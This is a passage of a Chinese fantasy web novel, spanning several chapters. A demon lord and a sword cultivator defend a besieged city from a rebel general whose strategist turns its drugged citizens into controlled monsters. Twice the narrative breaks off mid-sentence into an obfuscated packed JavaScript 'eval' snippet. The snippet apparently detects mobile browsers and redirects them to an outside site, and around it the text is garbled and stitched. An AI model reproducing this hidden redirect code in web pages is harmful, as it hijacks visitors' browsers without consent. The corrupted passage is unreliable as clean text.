第五昭漫不经心看了一眼,那正是昨日采药时,他杀的人。 鄢丰那把剑真是快极了,随手一挥便斩下对方的头颅。 此刻又聚集了一大群人,为首的竟还是那一日的大汉,警惕的看着他,欲言又止的模样,但又一幅不屑与他讲话的样子。 第五昭嗤笑一声:“怎么,又想讨什么说法?” 大汉睁大眼睛,身后人群也躁动起来:“人果真是你杀的?!” 第五昭耸耸肩,毫不意外。鄢丰还没出来,他想,如果他们再要闹起来,便真的将他们全杀了。嘴上哼了一声:“是又如何?” 想了想又补充道:“哦,我想起来,”他似乎真像是刚想起来,“我路过的时候呢,他家妻小也在,我顺手——” “都杀了。” 他开怀的笑起来,在众人目瞪口呆的表情中露出森森白牙,快意非常。 然而很快他就意识到了不寻常—— 这些人并没有如他所想那般兴师问罪,反而变得鸦雀无声,只偶有窃窃私语者,却没有再站出来讲话。 第五昭蹙起眉:“怎么,上回来不是底气很足嘛,以为我不会杀你,连斧子都带着……”他扫了一眼这群人,没有什么锐利的武器,每个人手中倒是好像都拿着点什么,蔬菜瓜果兼有之。 大汉顿了顿,道:“今日我们可不是寻仇来的。” 第五昭哂笑,刻薄的道,“哦?不是来寻仇,莫不是来道谢的?呵。” 大汉看了他半天,似乎终于相信了什么难以置信的事情,咬牙道:“……是又如何?”他犹自不甘心,“不是你的功劳最好别揽在自己身上……杀他的,到底是你身边那位姑娘,还是你?这剑伤——” 第五昭蹙起眉:“本君做的事情,与他人何干?” “真的是他?” 人群声音渐渐大了起来,他们很快动起来,第五昭站在原地不动,狐疑的看着这些人将那些手中的的东西整整齐齐放到他面前,而非砸到他脑袋上。 “我们确实是来道谢的。” “那傅贵来我们新垣城一百三十五年,霸占了土坡上的草药资源,害设置迷障不让我们采摘,反而反过来高价抛售。” “……若不是、若不是他借着那魔障躲藏,自己没什么本事,轻功倒是很高,我们早就罢他杀了!” “是啊是啊,”一个老人颤巍巍走了出来,朝着他跪下,郑重其事地一叩首,“魔君大人,先前是我们错怪了您……您身手这般强大,又为我们除去祸害,老夫向您道谢,也还要……为先前道听途说的偏见,向您道歉啊!” 附和者有之,冷眼者亦有之。 譬如那大汉,便一直站着,冷眼看着老者前程的模样,哼了一声:“谁看不出他这是误打误撞呢,”他再一次拿愤恨的眼神看向第五昭,“可是你杀了我地妻子儿女,却是真真切切。” 第五昭感觉到杀气,周身魔气陡增,眼神一凛: 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“阿昭……”鄢丰却叫住他,“我的剑,说好等你回来,还给我的。” 第五昭脚步一顿,没有答话。 鄢丰也不急,就站在院子里静静等着。 片刻后,第五昭果真拿了她的剑出来,递给她。 剑锋依然锐利,竟半点儿血腥味也无。分明第五昭一剑斩杀这个傅贵的时候,身上的血腥味经久不散,他的肩此刻竟洁净如新,剑锋雪亮雪亮的。 鄢丰看着自己的剑,半晌笑了起来:“我也有东西想要送给你。” 鄢丰将一个长木盒子递给他:“有武器傍身,终归是安全些。” 第五昭愣愣的接过盒子,似是想起什么似的,低下头喃喃不清嘟囔着什么,模模糊糊听不清,半天才蹙着眉,疑惑的看向鄢丰:“算起来还真差不多是这几日……你怎么知道今日是我生辰?” 鄢丰也一愣,完全没想到这种状况,半晌才愣愣道:“……阿昭,生日快乐。” 第五昭看了她一眼,缓缓打开木盒,端详着其中物:一柄古朴的长剑泛着莹莹光芒,静静躺在木盒当中。 是一把极好的剑,绝不亚于鄢丰自己那一把。 鄢丰看不清他神色,只能期许的问:“怎么样,合你的心意吗——要不要试一试?” 第五昭一眼去除剑,挥了挥,又低下头看了半天,顶着鄢丰的目光,嘀咕道:“……好像不是很顺手。” 鄢丰却已经听清了:“不顺手么,”她思考起来,“分明在店里挑了一整天,这把剑理应比我的更好才是……” 鄢丰在那店里待了大半日,斟酌良久,最终还是决定送一把剑给他。 一来她自己就是剑修,选剑眼光更好;二来,剑乃器中君子,寓意更好。 只是第五昭身为魔君,不喜欢用剑,似乎才是理所应当的。 或许不是这把剑不够好,只是他不喜欢用剑吧? 鄢丰心中叹口气,却听第五昭突然意识到什么,问:“……你要来新垣城,就为了买剑?” 鄢丰想了想,点点头,笑道:“是啊,甘镬剑可不能送给你。”顿了顿,又道,“你且先用着,至少比拳头对拳头好得多。等你回了魔宫,再换更顺手的。” 第五昭道:“可能只是用你的剑顺了手吧。” 鄢丰听罢却眼睛一亮:“你喜欢我的的剑?”她似乎很欢喜,看着他的眼睛都亮了几分,随即神色多了几分怀念,“甘镬剑,是我自己亲手铸的。” 意料之外的答案,第五昭挑眉:“你还会铸剑?” 鄢丰一笑:“本是不会的,只是彼时年少,想着毕竟是我今后行走江湖最亲密的伙伴,因而凡事非要固执己见,亲力亲为。” “……当时也费了很大劲,一时间几乎把昆仑的玄铁都用光了,起初几次还险些将铸剑庐都烧了个干净,”鄢丰笑着,想来会是一段极美好的回忆,“最后一次机会,我用了七七四十九日,那不近人情、热得人焦灼的剑庐,竟真的回应了我。我竟果真铸成了一把剑。” 第五昭愣愣的听着,看着她陡然鲜活了起来的神情一时间愣了神。 鄢丰看着他的神色却笑了起来,道:“你若喜欢,那——” “来日若有机会,我也为你,亲手铸一把剑。” 第五昭半天才反应过来,看了鄢丰一眼,张了张口,似乎欲言又止,鄢丰却还在说:“第二次了,应该会比刚开始铸的剑好吧……” 他静静听着,还是作罢,最终只低低嗯了一声。 . 是夜,鄢丰坐在床边,将甘镬剑擦拭一遍又一遍。 终于在三更之前,等来了一道急促的敲门声。 鄢丰打开门,看到了神色匆忙的第五霖。 “城主大人?” . 26. 芽蘖(中) . 夜晚分外寂静,新垣城外的树林突兀的亮起点点火光,浩浩荡荡前进,那星星点点的光亮经久不散,远远看去就像是一条炽红的熔浆火海,蜿蜒而去,看不到尽头,最终留下满地飞尘。 身穿盔甲的士兵每人手中都握着一个火把,此刻停在永夜城的城墙之下。 望着使者被城主手下的亲信带进城中,飞羽方才回过头,神色惊喜的看向突兀出现在眼前的少女。 “小玉。” 男人身材健硕,翻身下马,面露欣喜神色,三步并作两步将面前那娇小的少女抱在了怀里:“你回来了。” 小玉点点头:“阿羽。” 两人温存良久才转过头,看向不远处跟在他身后的紫衣青年,后者微微一笑,步履从容的走上前来,作揖俯首:“将军,原先说好的药,已为您备好了。” 飞羽面露犹疑之色:“……再等一等罢。现在看来第五昭很快就要被我杀了,不必多此一举了吧?” 紫衣青年望着他,眼中闪过不屑之色,只是很快掩饰过去,低下头:“全凭将军做主。舒泓告辞。” . “……这么说,那傅贵竟然是飞羽的人?” 第五霖神色凝重:“是啊,我们又怎么想得到?!”他摇摆不定的看着鄢丰,“如今他杀了飞羽的人,他定是以为我已然站在了主城这边!” 鄢丰微微一笑:“飞羽既没有强攻,反而派了使者来谈判,那就还有转圜的余地。” “不错。”第五霖面色凝重,眼睛却一瞬不瞬的看着她,几乎要将她烧出一个洞来,“我身为城主,第一要务便是保护好我的城民。如今因为你们,那飞羽大军压境逼着我站队,才让新垣城陷入险境。” “城主为一城子民负责,无可厚非,鄢丰敬佩。只是如今,选择权已然握在您的手中,若您履行承诺,当是去对面房里问问魔君……或是给使者一个答复。” 第五霖看着她,嘴唇颤了颤:“姑娘聪慧……我来,是想向姑娘,讨一个承诺。” “城主有何求,不妨直说。” 他朝她一拜:“昭儿他果真愿意为了姑娘杀了傅贵……如今新垣城陷入险境本就是飞来横祸,我想请姑娘替我说服昭儿,让他向我、向我新垣城的百姓承诺,誓死,保护新垣城的一兵一卒,一人一屋。” 鄢丰不答:“城主这样说,鄢丰倒是有一事不解。” “什么?” “如今,即便阿昭他杀了傅贵,百姓态度有所松动,但飞羽叛军声势浩大,受他庇佑显然更好,他既已抛出橄榄枝来,城主又为何要来我们这里?” 第五霖目光一沉,想起什么来,一拍桌子,木桌竟咔嚓裂了开。他面色阴沉,低低道:“那使者,简直欺人太甚!不仅借那傅贵的死,问我新垣城要补偿费,还要求我城民众月月缴纳保护费,呈上贡品千石!欺人太甚!”他叹口气,无奈的看向鄢丰,期许道,“我也是无奈之下,才来找姑娘商议。新垣城的命运,此刻握在姑娘手中,姑娘,应是不应?” “鄢丰何德何能,能掌握一城之人的命运?”鄢丰淡淡一笑,摇摇头,“若论情分,城主与阿昭是亲人;若论礼数,城主与阿昭是君臣。无论如何,也断没有我去游说的道理。” 第五霖眼中的光芒熄灭了,他整个人竟是晃动了几分,半晌,仍不死心,咬牙道:“姑娘当真不肯答应?” “我又如何做得了魔君的主?……但,”鄢丰坚定的看向第五霖,“不论阿昭最终如何抉择,鄢丰愿尽自身绵薄之力,誓死保护城民,不负城主所望。” 第五霖睁大眼睛,动容的看向她:“姑娘此话——” “若是有事找我,倒不妨,现在就说。” 料峭寒风吹了进来,第五昭推开门,迈过门槛,站定在第五霖面前。 . “听说了吗,昨日飞羽将军又派了使者来,给城主送信呢!” “是啊是啊,我亲眼瞧见了!上回不是已经来过一个了么?” “难道城主拒绝了他吗?” “开什么玩笑!那飞羽带着军队逼着我们新垣城站队,拒绝了他,这不是把我们往火坑里推么!” “唉,”一人压低声音,“终归是一家人,城主也姓第五,谁跟谁一条心还看不出来吗?” “不会吧……那要真的投奔那个第五昭,我们岂不是要遭殃了?” “是啊,谁不知道他孤家寡人一个,叛军起事竟没有人肯帮他,跟着他不是死路一条?” “大家都听说这件事了啊。”酒馆里进来一个少年来,笑起来有两个梨涡,正是让大家全都知道第五昭进城了的罪魁祸首。 他自然的插入对话,人们见了他来却激动起来: “小林,看你这样子,又有小道消息?” “可不是嘛,”小林笑了起来,他压低声音,人们凑上来他才继续道,“我也是昨日听我在城主府守军供职的朋友说的,那个傅贵竟然是飞羽的人!他在我们城里被第五昭杀了,我看啊,城主九成九已经是站在魔君大人那边啦。” “……傅贵?!”听者脸色一变,随即有迟疑道,“可是,城主一直都是中立,不会吧?” “你们不信?那我再告诉你们一件事好了,”小林拿着点心咬了两口,吊足了人胃口,半晌才开口,“最开始那个使者,其实是被城主交给了第五昭处置——什么下场,还用我说?” “早知道杀了这家伙会给我们带来这么大麻烦……” “唉,你们前些日子不还带着礼品上门道了谢吗,改口这么快。” “钱重要还是命重要?!” 小小的酒馆此刻敞着门,马蹄声渐渐近了,在人们的窃窃私语当中,千军万马之前,一袭黑色长斗篷罩住人们探究的视线,第五昭目光不偏不倚看了一眼坐在酒馆里吃点心的少年,头也不回的离开了此刻仍然嘈杂的街道。 自那一夜第五昭向第五霖发了是,誓死保护新垣城,对方看着她半天终于还是长叹一口气,将首宗令牌郑重地交到第五昭手中。 鄢丰长叹一口气,终于目送着第五昭离开结界。 她送了一纸传讯符给他,教给他如何排兵布阵,如何布置人手。 “鄢丰姑娘,你不同昭儿一起么?” 第五霖忧心忡忡的走来,显然也对自己的选择没有什么信心。 “我留在城中,城主您也好有个照应。”鄢丰淡淡一笑。 “也好。”第五霖点点头,“主城那边增援怎么说?” “我想不日便会到了……”鄢丰目光幽幽看着隔绝两边的结界。温石那一日来将他们安顿好便不见了踪迹,第五昭昨日联系了他才知道,他竟似早料到此刻的状况,提前离开便是为了回到主城调遣军队,布置传送阵,预计一个月内便能到达。 “——只盼新垣城的守军能够撑过这一个月。” 战书已下,第五昭带着新垣城的军队离开,第二日便轰轰烈烈打了一场。 飞羽那边虽然人多,却是乌合之众,加之第五昭本身有以一敌千之能,到也不能算输。然而,新垣城这边本身准备就仓促,又以一城之军对抗对方十城之军,几天下来便疲态尽显。 即使战场上可称势均力敌,论损失惨重,新垣城这边却远远超过飞羽那军。 前线的消息每天都会传回来,百姓们出门也少了,成天提心掉的听着战报,私下总觉得叛军一旦进了城,便要将他们也当作乱臣贼子处死——毕竟这样的事情先前也不是没发生过。 他们一面觉得第五昭赢得希望渺茫,一边却又不得不同他同呼吸共命运,祈祷他晚些输掉。 新垣城军数量远远比不过飞羽军,没几天便已然疲惫非常,损失惨重,只能堪堪守住城墙。 好在这样的情况没有持续太久。 因为半个月以后,两军交战之间,原本是飞羽军乘胜追击,眼看新垣城城墙就要失守,远远却尘土滚滚,马蹄声渐行渐近,一个红衣女子一马当先,长鞭甩得三军震撼,眉眼飞扬,一时之间,与新垣城守军一同将飞羽军为主,竟成夹击之势! “——元城城主阮小竹,携元城守军、阮家暗卫,支援来迟!” . “真的没有别的办法了么?” 新垣城外驻扎的营帐彻夜灯火通明。 主帐点着长明的火把,飞羽面色凝重,眉目含情的少女忧心忡忡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557277|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的看着他,抚平他皱成川字的眉,又扯一扯他的衣角,柳眉微蹙。 飞羽这才反应过来,看向她,下首的紫衣青年却先一步开了口:“如今前线情势瞬息万变,我军的绝对优势不再,元城守军又很强,带兵的碎是个女子,杀起人来却不亚于第五昭……”他对上少女鄙视的目光,目光淡淡,又转向飞羽,作揖,“将军若是有必胜的决心,就知道该怎么做。” “大人、大人,我们虽是新垣城之人,却也是被那城主第五霖胁迫!我们几人,是一心仰慕飞羽大人的,您收我们在您麾下吧!求求您,求求您……” 说话那人粗布麻衣,还在不断磕着头。 他身后还有几个人,甚至也有女人孩子。 如今局势虽然随着阮小竹的加入有了转机,然而飞羽这边几日来也有增援,双方输赢参半,却终归谁也没能更进一步,只能不断僵持着。 新垣城内也分成了两派,一派对第五昭有了信心,期待他真能打败飞羽;另一派却还是觉得飞羽会赢。 飞羽目光看向跪在地上还在磕着头的几个人,双手握成拳,半晌移开目光,看向自己的军师,对视一眼,彼此都点了头。 “……小玉,我们没有别的选择了。” “飞羽……”她声音突然颤抖起来,眼泪一刹那间夺眶而出,顺着脸颊流下,望向营帐外透进来的隐隐火光,指着那个方向,“这些,是随你征战沙场的手足军士,而他们,”她低下头眉头微微挑起,又是怜悯又是伤怀的看着地上跪着的臣服者,“是你将来为人君的子民。” “……你怎么可以舍弃他们的性命?怎么可以连你也……” 她已然泣不成声,飞羽稍有动容:“小玉……” “将军,再犹豫,”舒泓淡淡打断飞羽的话,看着他再次摇摆不定的神色,远方灯火亮起,第五昭的军队又一次整装待发,天光泛白,第一声战鼓被敲响,“——就来不及了。” 飞羽咬牙,坚硬的盔甲从小玉手中被抽出,划出一道浅浅的伤痕,却比被妖兽挠伤还痛。 他走出自己的位置,一字一顿: “一切行事,全听军师指挥。” “舒泓遵命。” 紫衣青年勾起唇角,走出营帐—— “我已派人在他们的水中,加了药。你们只消带着我的人进城,他们自会知道怎么做。” 舒泓派的其实只有一个人,穿着黑衣人,沉默寡言一路,随着几人趁夜回到了新垣城。 新垣城内虽守卫森严,识别身份靠的却是令牌。飞羽的人在几个百姓的带领下,被放进了城,一路进入结界之内。 进了城,那人长出一口气:“唉,成了。” “大人,”他向黑衣人作揖稽首,“到时候若是事成,大人可要在军师和将军面前替我美言几句啊。” 黑衣人的面目在明月下渐渐清晰起来,他露出一双红瞳,竟然微微笑了。 长刀出鞘,将面前几人尽斩刀下! 那把刀极快,死去的人,甚至连惊讶的表,情都不及露出。 死不瞑目。 与此同时,鄢丰长剑也已泠泠出窍,一剑毫不犹豫刺穿面前布衣的心脏,看着对方颓然倒下,仍睁着无神的双目。 鄢丰终是叹了一口气,不忍的蹲下来,阖上他的眼,擦去脸上的血,站起身:“城主……” 话未说完,如这般失去神智的百姓却已然越来越多,此刻都在朝着城主府聚拢,竟与永夜城那夜如出一辙。 鄢丰挡住直朝向第五霖的人,反手一剑,毫不犹豫将他斩杀! “又是这样……” 鄢丰目光沉沉,长剑却片刻不停,坚定而决绝的,指向团团围住自己和第五霖的,或熟悉或陌生的面孔。 夜幕被血色染红,皎洁的月光也蒙上红色的雾气,刀剑饮血,黑衣的武士握住长刀。 而白衣的剑修也将同样,握紧她的长剑。 谁的脚步都不曾停下,一步一步,在黑夜之中,冷静、坚决的前进着。 听得那刀剑之声在狭小的结界之内,无有丝毫停顿,不绝于耳。 ——鲜血,在这夜幕当中,愈显扎眼。 . 27. 芽蘖(下) . 那张传讯符已经整整三日没有传来任何消息了。 夜风凛凛,将旗帜吹得不断摇动,装得铁杆发出突兀的响声。 第五昭坐在桌前,听着外面的狂风将营帐的帘幕吹得猎猎作响,垂眸看向手中捏着的那枚小小的符咒。 淡黄色的符纸不需要太长时间便泛了白。 从始至终都是鄢丰在主动联系他,他也并没有多此一举的问过这枚传送符的发动方法。 通常而言,灌注魔气——对于人类,应当是灌注灵气? 第五昭望着那枚符咒,指尖点点升起魔气,一点一点,将符纸笼罩起来,那符纸却突然间发出了莹白色的光芒,第五昭微微一愣,心跳一窒,下一刻鄢丰急切的声音传来:“阿昭,快派人在城池内接应!” 耳边是她那边不断传来的呼啸而吵闹的风声,刀剑破空、铿然作响的声音,还有时不时传来的惨叫声和低低的怒喝。 他还不及开口,鄢丰那边便又很快叮嘱道:“一定要将百姓们好生安置,阿昭,守好城池!” 第五昭蹙起眉:“结界里怎么了?” 鄢丰那边话毕却已然切断了联系,他皱着眉头将魔气灌注到符咒上,顷刻之间那符咒竟应声而碎! 他望着渐渐消散在风中的淡黄色的碎片,轻嗤一声,撩起袍子走出营帐。 迎头遇到进来通报的士兵: “君上,方才城内有一处,出现了一抹光,很是异常。” 第五昭点头:“带一支队伍去看看。” “是!” 士兵朝他抱拳,起身急急而去。 “等等。” “君上,还有什么吩咐?” 第五昭望着远处光芒大盛的地方,淡蓝色的光芒,宛如人间才常见到的那种天空的色彩,先他一步朝那里走去: “我亲自带人过去。” 这是一处街角,传送阵的光芒仍然起起伏伏不断,熟悉的灵力气息不断飘荡在这一处的每一寸空间,入目竟是新垣城中的百姓。 他们大多身着布衣,落地先是露出茫然的神色来,似乎还没有从法术当中缓过劲来。 这是鄢丰的法术,以灵力为媒介,常年生活在魔域的人无法适应,是很正常的。 第五昭沉着脸拽住其中一个人的衣襟:“结界里发生什么了?” 那人看了他半天,说不出话来,第五昭手不自觉越收越紧,对方吃痛的低呼一声,似乎才反应过来:“有……有、有……有怪物!” “怪物?” 第五昭蹙起眉,魔气在身上涨了又散,半晌松开了手,转向另一个人:“少说废话,结界里到底怎么了?” 对方脸上浮现出恐惧之色,第五昭话未听完便转过身,大步离开,朝着结界所在之处而去。 “君上!” “君上,这些百姓怎么安顿?” 第五昭脚步一顿。不耐烦的回过头:“都杀——” “找个安全的地方好生安顿,死一个,”他话锋一转,转过身来,阴恻恻的目光看向为首的士兵,“我拿你偿命。” 说罢,第五昭头也不回的快步朝着结界的方向赶去。 头顶的长月不知何时变得鲜红欲滴,第五昭飞身攀上屋檐,飒飒的风在耳边吹起,眼前事物飞速倒退,一直到结界前。 第五昭停了下来。 “温石。” “君上?” 魔域的传送法术通常都比较简单,只需要以魔气为媒介。 第五昭片刻之间将两人之间联通,听到温石的声音,只说了一句: “至迟十日,你必须到。” 转身,毫不犹豫地迈入结界之中。 . 此时此刻的新垣城结界之内,全然换了一幅光景。 血月高悬夜空,金石之声不断—— 而更多的,则是当胸而过的长剑,带出的一串如珊瑚串子一般鲜红的血珠。 鄢丰的体力已经到了极限。 然而那些分明已经被杀死的受人控制的城民,却还是拖着尸体颤巍巍站了起来,甚至有些没了脑袋、有些没有肢体,仍然锲而不舍的握住武器,将所有没有被控制的人围困。 三日之前,发现不对劲,鄢丰与第五霖商讨一番,得出结论,被控制的人多是受到超量魔气的侵染,控制他们的人,目的就在于将这城中所有的人都变成失去神智的提线木偶。 一旦被侵染,就只有被杀死,或者杀死所有人。 鄢丰整整三天没合眼,以自身灵力为媒绘制传送阵,终于在方才,将所有幸存的城民全部传送出了城。 如今整座城里,剩下的只有她,和那群已然无法称得上是人的——怪物。 不将这些人斩尽杀绝,他们必然会跑出结界之外,酿成更大的灾难。 而控制他们的人,想必应该还在城里。 鄢丰抬起头看着夜空之中的长月,麻木的挥剑斩断眼前怪物的四肢。 连日来的战斗和施法,她已然筋疲力尽,灵力所剩不多。 鄢丰长叹一口气,看了一眼身后尸山血海之中,阖眸而逝,神情安详的第五霖,想起不久前的诺言,神色一定。 她长剑在空中转了一个圈,从自己颊边划过。 甘镬剑霎时之间闪闪银光,愈来愈盛。 “丰儿,这一招,如今为师教授与你,可你记着,这一招,即便学会,也决不能用。” 鄢丰睁大眼睛,好奇地笑起来:“这是什么道理?无用的招式,我为何要学?” 师父望着她地眼睛,久久不曾言语,半晌转而看向遥远的天际,长长一叹: “——伤敌一千,必先自损八百。此招若出,你也,必死无疑。” 她活到今日,只有两次违背过师父这个警告。 这是第二次。 鄢丰想起这些,手上却没有片刻停顿,反而朗声一笑—— “看看这第二次,你能杀我不能!” 她将所有剩余的灵力都注入到甘镬剑之中,咒语一句句准确的念了出来。 “今有人于此,小见黑曰黑,多见黑曰白,则必以此人为不知白黑之辩矣。” 上一回遇到这样的情形是在永夜城,那一次她没能做出选择。 但又有个人替她做出了选择。 “少尝苦曰苦,多尝苦曰甘。” 但是这一次,没有人与她同在。 而她也不再需要任何人,帮她做出选择。 “则必以此人,为不知甘苦之辩矣——” 唯一可惜的事也便是…… 鄢丰阖眸,冲天的光芒分外刺眼,她只释然的笑了笑。 上回在永夜城,她见识过了魔君手里,果决狠辣的杀招。 今日,她少年成名的杀招,她从不出手的杀招,还真有点…… 想让他瞧一瞧。 蓝色光芒瞬间将整个城主府都笼罩起来! “是以知天下之君子也……” 鄢丰口中吐出一口黑血,拄着剑勉强站住,回味着口中的血腥味。 断断续续将《非攻》发动的最后一句念出。 “辩义……” 她近乎筋疲力尽,光芒却愈发强烈。 她抬起头,却瞧见一双在此刻白光闪烁的结界之中,显得分外扎眼的黑靴子,突兀的出现在了眼前。 咒语戛然而止,鄢丰睁大眼睛,不可思议的看向来人。 而第五昭只是低着头看着她,眼中翻涌的晦暗情绪被光芒照亮,让人一览无余。 鄢丰与他对视片刻,周身还在不断聚拢的怪物一个个熔化在盛大的光芒之中,鄢丰眨眨眼。 为什么临死之前、濒死之际,见到的会是这个人? 还是说,死前许的愿望,被那举头三尺的神明,实现了? 那盛大的白光在下一刻迅速暗淡下去,哐啷一声,甘镬剑落在地上,鄢丰失力的躺在地上。 黑色的长靴一步一步靠近,踩在地面上发出踏踏的响声,竟似踏在心弦之上,引起丝丝震颤。 鄢丰阖上眼睛,直到他停在她的身边,缓缓坐下来,她才睁开眼,眼中所有的动摇都已然不见了踪影,此刻又恢复城平静的一池水,古井无波的望着他: “你来这里,谁去守城?” 第五昭不语,低眸看了她片刻,哂笑了一声,伸手将她扶起来,将她妥善的被放在他背上。 “我带你出去。” 鄢丰默了默,手扒住他的左肩:“我还不能走。” 第五昭蓦地回过头,一双红瞳此刻亮得惊人,竟积攒着怒气:“你就非要死在这个全是活死人的城里才满意?!” 鄢丰沉静的看着他,坚定道:“这城里哪怕还剩下一个怪物,我也必须,赶尽杀绝。” 第五昭冷笑:“赶尽杀绝……怎么,救世主的戏码终于演不下去了?” “我今日种种,不都是过去在永夜城,你教给我的么?”鄢丰叹了口气,她转头看向身后堆积成山的尸体,和已然化作飞灰的肢体此刻也飘散在空中,“阿昭,你今日救我一命……若我能活着出去,一定报之。” “你执意如此?” 鄢丰面上没有任何变化:“这里,一定还有控制这些怪物活动的人,我还要找到他,杀之。而你,”她唇角还不断溢出血来,有几滴渗入他肩头的衣料,神情却平静的可怕,“作为三军将领,应该回到营帐之中,尽你之责,保护城池,和百姓。” 第五昭几乎忍无可忍,手握成拳,骨节声咔咔作响,阴晴不定的看了她半天,最终嘲讽的笑起来:“哈,杀了他?就凭你自己,就凭你现在这样?” 鄢丰挣扎着从他身上滑下来,不再回答,闭目打坐调息。 第五昭就始终站在她旁边,目光一瞬不瞬的盯着她。 偶有不知从哪里闯过来的怪物也都被他一一挡住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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鄢丰好容易蓄起的气势全被这突如其来的变故打散,她哭笑不得的跟着他跑了起来,方才炽热的血也冷了下来。 然而实际上第五昭没有跑出多远便停了下来。 ——他们再一次被包围了! 这一处怪物格外的多,似乎是从前最热闹的那集市。 血色填满整条街,怪物闻到活人的气息立刻将他们围住。 鄢丰衣袍此刻都破烂不堪,身上脸上全是血,有自己的,也有他人的。 她计算着这些怪物的耐力和自己所剩无多的灵力,脸色凝重下来。 第五昭轻嗤一声,松开手,往前走了几步,挡在了她面前。 鄢丰看着眼前的身影,突然无端想起住进城主府的那一日。 那一日她照例起床练剑,却没过很久就听到门外不断传来嘈杂的声音。 透过门传来的交谈声让她最终明白对方来意,看向仍然关闭着的第五昭的房门,想,他出来的时候,对这些指责,会作何反应? 整个上午,鄢丰都在出神。 等他出来看到、听到这些,她又该同他说些什么,做些什么呢? 门外地百姓各有各的故事,也真有一两个,亲眼见到至亲至爱被他所杀。 鄢丰知道这些,不会有假。 鄢丰就这样想着,一直到他已然走了出来,才惊觉已然过去整整一个半时辰,却还是没能想通。 是杀了他以证道心,还是…… 履行那个承诺,保护着他,直到为他寻回他真正的心脏? 那天从树下站起来,走到他面前,转过身的前一刻,她还仍在犹豫。 而此刻,黑色的衣袍翻飞之间掩盖住她眼前的血色,鄢丰突然了悟了。 ——既然已做出选择,那便,落子无悔。 第五昭轻蔑的笑了一声,周身魔气暴涨,杀气几乎将那些已然没有了神智的怪物都吓得震颤一瞬。 然而他们还是很快按照控制者的指令行事,第五昭身形一动。 “——阿昭,不行!” 鄢丰再次勉力提起剑,正对上第五昭的目光。 他压着火气,一字一顿:“我不动手,死的就是你我两个人!” 怪物眼看着不断增多,显然他们的位置已然被发现。 一黑一白两道身影几乎要被这些怪物淹没。 两人被逼得不断后退。 一步、两步、三步…… 鄢丰心砰砰直跳,退无可退,直到与第五昭背靠着背。 她长出一口气,左手摸索着探出,紧紧握住第五昭的手。 他来得很匆忙,没有戴手套,细腻的皮肤紧紧相贴。 第五昭动作顿了顿,片刻之后,咧嘴一笑,竟真的收敛了杀气,指节一弯,紧紧回握住她。 感受到他的动作,鄢丰突然笑了一声,而蓄势待发的怪物,终于开始了这场看似毫无悬念的—— 歼杀。 . 28. 余烬(上) . 一、二…… “那一日在永夜城,你曾经救了我一命,教我一杀招。” 她松开手,甘镬剑应声而出,随着她出口的话,越发亮了起来。 三—— 霎时之间,整条街都亮如白昼! 灵台清明。 天空之上,血月已经不见了踪迹,天际万里无云,晨曦的曙光却普照整个新垣城上空。 她双指拭剑,剑气一扫,举重若轻,将前仆后继而来的怪物荡出老远,再无起身之力。 “那这一次,换我来教你一个……真正只属于剑的杀招吧。” 魔域不比人间,从来不是昼夜分明的。 此刻却有丝丝缕缕的日光柔和的照射下来,经久不散。 人们全然呆怔的望着这百年难得一见的奇观,新垣城内却猛地发出一声巨响,结界烟消云散,无数尸骨浮现在空荡的山上。 在云消雾散之中,走出两个人来。 鄢丰手握着剑,身上脸上全是干涸的血污,衣衫破烂不堪,此刻却面色祥和,恬淡的光芒在她身上若隐若现,谁都不会将落魄这个词同她联系起来。 她跟着第五昭,一步步朝着城外的军营走去。 “恭祝鄢道友……”千里之外,衡枢在石桌上落下一子,微微一笑,“重铸道心,再回巅峰。” .鄢丰却似有所感的抬起头:“——阴阳家的预言,果然从不出错。” “那可不是预言,鄢道友。” 那一日天降异象之后,人们便口口相传一个传说。 神明眷顾着新垣城,魔君和他身边那位姑娘,会带领新垣城逢凶化吉。 事实也恰是如此,鄢丰和第五昭,协同主城援军和元城军,大败飞羽的军队,将他逼到退无可退的境地。 他竟似疯了一般,带着还活着的士兵,退入悬崖之前,与第五昭相约,誓要背水一战! 那支军队确实勇猛无比,血气方刚,个个都身中数剑才挣扎着死去。 而飞羽,最终散发卸甲,对着身后的万丈悬崖仰天大笑,毫不犹豫地纵身一跃! 战场血腥气经久不散,没有人肯靠近。只在数日之后,有人听到那一处传来凄凄而唱的女声,声音哀婉动人,飘渺不散,接连七日。 正是一首,源于灞城的小调——原是飞羽故乡的歌。 “力拔山兮气盖世,时不利兮骓不逝……” “骓不逝兮可奈何,虞兮虞兮奈若何………” . 新垣城门毫无忌惮的敞开,城墙之上,旌旗飘扬。 第五昭一马当先在前,朝城内走去。 “阿昭。” 第五昭回过头,对上鄢丰的眼睛。她身上扛着一杆旗,看起来有些滑稽。 对视片刻,鄢丰却忽然微微一笑,将那旗递给了他。 第五昭停在城门之前,半晌,还是接过。 耀眼的红色军旗被高高举起,随着风飘飘扬扬,军队打马进城前一刻,便听到城内的欢呼声。 入目是无数熟悉或陌生的面孔,此刻万人空巷,皆对他们夹道欢迎。人们望着军旗,振臂高呼。 “我们赢了!” “君上万岁!” “君上,这是我家秘制的桂花酥……” “君上,我们家鸡下的土鸡蛋,整个魔域最好吃!” “哎哎,别挤啊,哎等等啊,君上,这是我家……” 第五昭茫然的看着面前的一切,呆愣的往前走着,任由那些东西一股脑的往自己面前递,竟有些无所适从起来。 直到进入城主府,迎接的队伍也未曾消弭。 进入城主府的前一刻,第五昭却停了下来。 城主府门前,孑然立着一个大汉——便是屡屡上门找茬的那一个。 第五昭脸色黑了下来,居高临下的看向他:“想打架?” 那大汉却抱臂死死盯着第五昭,脸上神情严肃,不发一语。 第五昭正要开口,他却打断道:“今日你遵守承诺,同那位姑娘一起,救新垣城于水火,我蒙武,心服口服!” 